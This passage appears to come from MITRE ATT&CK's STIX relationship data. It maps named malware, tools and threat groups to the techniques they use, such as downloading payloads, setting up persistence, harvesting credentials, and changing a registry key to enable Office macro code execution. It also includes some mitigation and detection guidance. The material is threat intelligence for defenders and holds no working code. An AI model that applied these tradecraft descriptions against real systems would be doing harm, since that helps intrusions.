al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", "source_name": "FireEye MuddyWater Mar 2018"}], "modified": "2019-04-22T22:36:53.049Z", "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can sleep for a given number of seconds.(Citation: FireEye MuddyWater Mar 2018)", "relationship_type": "uses", "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4467fb1b-60fe-4e13-a32a-8c1f60a66782", "type": "relationship", "created": "2021-01-07T20:28:30.072Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "JoeSecurity Egregor 2020", "url": "https://www.joesandbox.com/analysis/318027/0/html", "description": "Joe Security. (n.d.). Analysis Report fasm.dll. Retrieved January 6, 2021."}], "modified": "2021-01-07T20:28:30.072Z", "description": "[Egregor](https://attack.mitre.org/software/S0554) contains functionality to query the local/system time.(Citation: JoeSecurity Egregor 2020)", "relationship_type": "uses", "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4469d943-1e9b-47a9-8e91-cc7883b918cb", "type": "relationship", "created": "2020-06-02T18:46:58.620Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 CARROTBAT January 2020", "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/", "description": "McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."}], "modified": "2020-06-10T14:55:06.358Z", "description": "[SYSCON](https://attack.mitre.org/software/S0464) has the ability to execute commands through [cmd](https://attack.mitre.org/software/S0106) on a compromised host.(Citation: Unit 42 CARROTBAT January 2020)", "relationship_type": "uses", "source_ref": "malware--edf5aee2-9b1c-4252-8e64-25b12f14c8b3", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--446e3bf2-9a37-4d22-a7ca-ede547e5e16e", "created": "2024-03-25T20:19:24.625Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Red Canary SocGholish March 2024", "description": "Red Canary. (2024, March). Red Canary 2024 Threat Detection Report: SocGholish. Retrieved March 22, 2024.", "url": "https://redcanary.com/threat-detection-report/threats/socgholish/"}, {"source_name": "Secureworks Gold Prelude Profile", "description": "Secureworks. (n.d.). GOLD PRELUDE . Retrieved March 22, 2024.", "url": "https://www.secureworks.com/research/threat-profiles/gold-prelude"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-26T18:52:17.880Z", "description": "[SocGholish](https://attack.mitre.org/software/S1124) can download additional malware to infected hosts.(Citation: Red Canary SocGholish March 2024)(Citation: Secureworks Gold Prelude Profile)", "relationship_type": "uses", "source_ref": "malware--5911d2ca-64f6-49b3-b94f-29b5d185085c", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--447f5271-30fc-4d12-8b60-b0af862b9b03", "created": "2024-03-06T19:30:32.646Z", "revoked": false, "external_references": [{"source_name": "Volexity Ivanti Zero-Day Exploitation January 2024", "description": "Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.", "url": "https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-06T19:30:32.646Z", "description": "[GLASSTOKEN](https://attack.mitre.org/software/S1117) can use PowerShell for command execution.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)", "relationship_type": "uses", "source_ref": "malware--554e010d-726b-439d-9a1a-f60fff0cc109", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--44858dc2-c869-42a0-8f67-3ddd9660b538", "type": "relationship", "created": "2017-05-31T21:33:27.037Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant APT1", "description": "Mandiant. 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(2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."}, {"source_name": "Phish Labs Silent Librarian", "url": "https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment", "description": "Hassold, Crane. (2018, March 26). Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment. Retrieved February 3, 2021."}, {"source_name": "Secureworks COBALT DICKENS August 2018", "url": "https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities", "description": "Counter Threat Unit Research Team. (2018, August 24). Back to School: COBALT DICKENS Targets Universities. Retrieved February 3, 2021."}, {"source_name": "Proofpoint TA407 September 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian", "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."}, {"source_name": "Secureworks COBALT DICKENS September 2019", "url": "https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again", "description": "Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School\u2026Again. Retrieved February 3, 2021."}, {"source_name": "Malwarebytes Silent Librarian October 2020", "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/", "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021."}], "modified": "2021-02-04T14:49:40.477Z", "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has used links in e-mails to direct victims to credential harvesting websites designed to appear like the targeted organization's login page.(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Secureworks COBALT DICKENS August 2018)(Citation: Proofpoint TA407 September 2019)(Citation: Secureworks COBALT DICKENS September 2019)(Citation: Malwarebytes Silent Librarian October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384", "target_ref": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--448a35fc-fecf-4373-9888-30c37dd1d56a", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf", "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", "source_name": "Symantec W32.Duqu"}], "modified": "2019-04-24T23:18:53.288Z", "description": "Adversaries can instruct [Duqu](https://attack.mitre.org/software/S0038) to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). 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Retrieved March 25, 2022."}], "modified": "2022-03-26T03:47:58.950Z", "description": "[Mythic](https://attack.mitre.org/software/S0699) provides various transform functions to encode and/or randomize C2 data.(Citation: Mythc Documentation)\t", "relationship_type": "uses", "source_ref": "tool--d505fc8b-2e64-46eb-96d6-9ef7ffca5b66", "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--448cb735-65c8-4346-a97d-1ea31e9b6c11", "type": "relationship", "created": "2022-03-30T14:26:51.834Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.834Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--448ea71c-ebfa-4604-bb8e-0c8c997c746a", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TYPEFRAME June 2018", "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"}], "modified": "2020-03-28T01:03:26.510Z", "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can open the Windows Firewall on the victim\u2019s machine to allow incoming connections.(Citation: US-CERT TYPEFRAME June 2018)", "relationship_type": "uses", "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--44908b0a-993a-4339-b30f-f0f1a64c0753", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Gamaredon Feb 2017", "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"}], "modified": "2020-06-22T17:54:16.024Z", "description": "[Pteranodon](https://attack.mitre.org/software/S0147) copies itself to the Startup folder to establish persistence.(Citation: Palo Alto Gamaredon Feb 2017)", "relationship_type": "uses", "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--44927ff0-b153-4122-a881-ff078a3e81cd", "created": "2022-02-07T18:32:59.166Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "BiZone Lizar May 2021", "url": "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319", "description": "BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\u2019s toolkit. Retrieved February 2, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Lizar](https://attack.mitre.org/software/S0681) has used various Windows API functions on a victim's machine.(Citation: BiZone Lizar May 2021) ", "modified": "2022-04-06T15:42:50.464Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--f74a5069-015d-4404-83ad-5ca01056c0dc", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--44930e59-94ae-40ff-bf9e-da00553620af", "created": "2020-10-19T23:49:08.641Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Cisco Blog Legacy Device Attacks", "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "Keep system images and software updated and migrate to SNMPv3.(Citation: Cisco Blog Legacy Device Attacks)", "modified": "2022-04-19T21:33:37.182Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "mitigates", "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", "target_ref": "attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--44968df5-3af9-4441-a1f3-e91c75893e64", "type": "relationship", "created": "2019-06-07T18:42:23.141Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro IXESHE 2012", "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf", "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}], "modified": "2019-06-10T19:29:30.900Z", "description": "[Ixeshe](https://attack.mitre.org/software/S0015) has a command to delete a file from the machine.(Citation: Trend Micro IXESHE 2012)", "relationship_type": "uses", "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--449b3473-a6cc-4934-8441-84325f70e126", "type": "relationship", "created": "2021-04-13T19:29:21.040Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks BRONZE PRESIDENT December 2019", "url": "https://www.secureworks.com/research/bronze-president-targets-ngos", "description": "Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."}, {"source_name": "Avira Mustang Panda January 2020", "url": "https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong", "description": "Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021."}], "modified": "2021-04-19T19:18:47.994Z", "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has used RAR to create password-protected archives of collected documents prior to exfiltration.(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Avira Mustang Panda January 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--44a77efc-9215-4e5a-a246-ac9669dc52a4", "created": "2022-10-18T21:47:07.938Z", "revoked": false, "external_references": [{"source_name": "Objective-See MacMa Nov 2021", "description": "Wardle, P. (2021, November 11). OSX.CDDS (OSX.MacMa). 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Retrieved May 8, 2020."}], "modified": "2020-05-12T14:26:05.003Z", "description": "[PowerShower](https://attack.mitre.org/software/S0441) has the ability to deploy a reconnaissance module to retrieve a list of the active processes.(Citation: Kaspersky Cloud Atlas August 2019)", "relationship_type": "uses", "source_ref": "malware--53486bc7-7748-4716-8190-e4f1fde04c53", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--451e231b-a523-4ee9-be5e-1e80cef9c8fa", "created": "2021-11-30T16:13:37.363Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Kaspersky ThreatNeedle Feb 2021", "url": "https://securelist.com/lazarus-threatneedle/100803/", "description": "Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). 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Retrieved October 27, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[ThreatNeedle](https://attack.mitre.org/software/S0665) can run in memory and register its payload as a Windows service.(Citation: Kaspersky ThreatNeedle Feb 2021)", "modified": "2022-04-17T19:06:15.447Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--16040b1c-ed28-4850-9d8f-bb8b81c42092", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4527c528-8377-4349-ae5c-95c04cabd3d4", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cisco H1N1 Part 1", "description": "Reynolds, J.. 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Retrieved March 30, 2021."}], "modified": "2021-03-31T15:35:34.215Z", "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) uses HTTPS for C2 communications.(Citation: ESET TeleBots Oct 2018)(Citation: ANSSI Sandworm January 2021)", "relationship_type": "uses", "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--452e340a-df31-4ae9-a801-d26c57d491ea", "type": "relationship", "created": "2021-09-22T21:57:30.206Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye SMOKEDHAM June 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", "description": "FireEye. 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Retrieved September 22, 2021."}], "modified": "2021-09-23T13:47:12.944Z", "description": "[SMOKEDHAM](https://attack.mitre.org/software/S0649) has used Powershell to download UltraVNC and [ngrok](https://attack.mitre.org/software/S0508) from third-party file sharing sites.(Citation: FireEye SMOKEDHAM June 2021)", "relationship_type": "uses", "source_ref": "malware--7e0f8b0f-716e-494d-827e-310bd6ed709e", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--452ebe8a-fc71-42e2-994f-2a974ab16c8d", "created": "2022-06-02T12:33:37.584Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Cisco Talos Bitter Bangladesh May 2022", "url": "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", "description": "Raghuprasad, C . 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Retrieved June 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[ZxxZ](https://attack.mitre.org/software/S1013) has been disguised as a Windows security update service.(Citation: Cisco Talos Bitter Bangladesh May 2022)", "modified": "2022-06-02T12:33:37.584Z", "relationship_type": "uses", "source_ref": "malware--97cfbdc6-504d-41e9-a46c-78a9f806ff0d", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--45310a29-78b6-4863-ab0b-49fd53ef1809", "type": "relationship", "created": "2020-05-04T19:13:35.449Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Carbon Black HotCroissant April 2020", "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", "description": "Knight, S.. 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Retrieved May 1, 2020."}], "modified": "2020-05-06T19:28:22.178Z", "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to clean up installed files, delete files, and delete itself from the victim\u2019s machine.(Citation: Carbon Black HotCroissant April 2020)", "relationship_type": "uses", "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4532058c-bdc1-4911-8749-d235f60bd684", "type": "relationship", "created": "2022-03-30T14:26:51.873Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.873Z", "description": "Monitor newly executed processes, such as the W32tm.exe utility. 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Retrieved March 8, 2021."}], "modified": "2021-03-12T18:46:47.225Z", "description": "[Sibot](https://attack.mitre.org/software/S0589) checked if the compromised system is configured to use proxies.(Citation: MSTIC NOBELIUM Mar 2021)", "relationship_type": "uses", "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4536c335-5138-42d1-8f1e-63dee7cb17ab", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft PLATINUM April 2016", "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. 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Retrieved April 6, 2021.", "url": "https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-11-30T22:37:12.377Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can modify Registry values within <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\<Excel Version>\\Excel\\Security\\AccessVBOM\\</code> to enable the execution of additional code.(Citation: Talos Cobalt Strike September 2020)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--453914ae-8d76-4796-b507-dafc33adf005", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Putter Panda", "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. 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Retrieved November 20, 2020."}], "modified": "2020-11-24T21:19:49.257Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) has set up and operated websites to gather information and deliver malware.(Citation: Volexity Ocean Lotus November 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--45522d60-160a-4c07-bd98-9a487175910e", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant No Easy Breach", "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. 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Retrieved May 5, 2020."}], "modified": "2020-10-14T14:40:36.546Z", "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) has a CommandPromptPacket and ScriptPacket module(s) for creating a remote shell and executing scripts.(Citation: QiAnXin APT-C-36 Feb2019)", "relationship_type": "uses", "source_ref": "tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9", "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--45c9645b-05df-4ec0-9965-293587c3928e", "type": "relationship", "created": "2021-03-23T22:13:34.888Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft GALLIUM December 2019", "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", "description": "MSTIC. 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Retrieved January 24, 2022."}], "modified": "2022-01-25T14:46:45.567Z", "description": "[CharmPower](https://attack.mitre.org/software/S0674) can decrypt downloaded modules prior to execution.(Citation: Check Point APT35 CharmPower January 2022)", "relationship_type": "uses", "source_ref": "malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--45f9e4b6-a6a0-4f9f-aae9-9e8a69f5681d", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf", "description": "Faou, M. and Boutin, J. (2017, February). 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(2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. 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(2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}], "modified": "2021-01-22T18:25:52.924Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used [Cobalt Strike](https://attack.mitre.org/software/S0154) to encapsulate C2 in DNS traffic.(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": 